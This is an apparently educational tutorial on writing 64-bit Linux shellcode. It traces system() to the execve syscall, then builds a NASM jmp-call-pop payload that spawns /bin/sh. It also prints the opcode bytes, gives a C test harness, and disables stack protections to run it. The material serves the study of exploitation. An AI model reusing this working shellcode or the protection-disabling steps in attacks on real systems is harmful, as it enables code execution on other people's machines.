1. Reminder

Before going any further, I recommend you to look at the parameter passage accessible here: Part-3: NASM Anatomy / Syscall / Passing Argument.

2. Tracing system call

Under Linux, there is a program to analyze system calls made by other programs.
By analyzing the program, we directly see the parameters that are passed to the function and how they are passed.
Let us take the following example:

#include <stdlib.h>
int main()
{
    system("/bin/ls");
    return 0;
}
$ strace -f ./system
[...]
[pid 21726] execve("/bin/sh", ["sh", "-c", "/bin/ls"], 0x7fffffffdd78 /* 78 vars */) = 0
[pid 21726] brk(NULL)                   = 0x555555773000
[pid 21726] access("/etc/ld.so.preload", R_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type)
[...]

We can conclude that the "system" function is a wrapper of the "execve" function.

3. What is the system call "execve"?

Let's look at the description provided in the manual.


NAME
       execve - execute program

SYNOPSIS
       #include <unistd.h>

       int execve(const char *filename, char *const argv[],
                  char *const envp[]);

DESCRIPTION
       execve() executes the program pointed to by filename.  This causes the
       program that is currently being run by the calling process to be
       replaced with a new program, with newly initialized stack, heap, and
       (initialized and uninitialized) data segments.
       [...]

Concretely, execve will replace the current process with a new process. To achieve this he needs:

  • filename -> Pointer to a string specifying the path to a binary
  • argv[] -> array of command line variables
  • envp[] -> array of environment variables

4. Using execve in C

Before developing our shellcode, it is useful/interesting to develop a small program in C to check the operation of the function we want to call.

#include <unistd.h>

int main()
{
    char *filename="/bin/ls";
    char *const argv[] = {filename,NULL};
    char *const envp[] = {NULL};

    execve(filename, argv, envp);
}

5. Creating the shellcode

We can now create our shellcode.

global _start

_start:

jmp call_shellcode

shellcode:
    ; get filename
    pop rdi

    xor rax, rax
    ; filename=/bin/sh\0
    mov [rdi+7], byte ah

    mov [rdi+8], rdi

    ; *argv[] = { &filename, 0}
    lea rsi, [rdi+8]
    ; *envp[] = {0}
    lea rdx, [rax]

    ; execve syscall 
    mov al, 59
    syscall

call_shellcode:
    call shellcode
    filename: db "/bin/sh"

6. Shellcode compilation and testing

nasm execve.s -f elf64 && ld execve.o -o execve

We get the opcodes to test our shellcode:

$ objdumptoshellcode execve
\xeb\x16\x5f\x48\x31\xc0\x88\x67\x07\x48\x89\x7f\x08\x48\x8d\x77\x08\x48\x8d\x10\xb0\x3b\x0f\x05\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

To test our shellcode, we will use a program developed in C:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x16\x5f\x48\x31\xc0\x88\x67\x07\x48\x89\x7f\x08\x48\x8d\x77\x08\x48\x8d\x10\xb0\x3b\x0f\x05\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main()
{
    printf("Shellcode Length:  %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

In order to compile our shellcode, we must not forget to remove the following security options:

  • -z execstack -> Makes the stack executable
  • fno-stack-protector -> Deletes the stack cookie

Which gives:

$ gcc -z execstack -fno-stack-protector shellcode.c -o shellcode

We try:

./shellcode                                                                       
Shellcode Length:  36
$ whoami
neko
$

And voilĂ .

7. Going further

To go further, you can redevelop this shellcode using the other techniques.
You can also reduce the number of opcode of the shellcode. Shellcode example on ExploitBD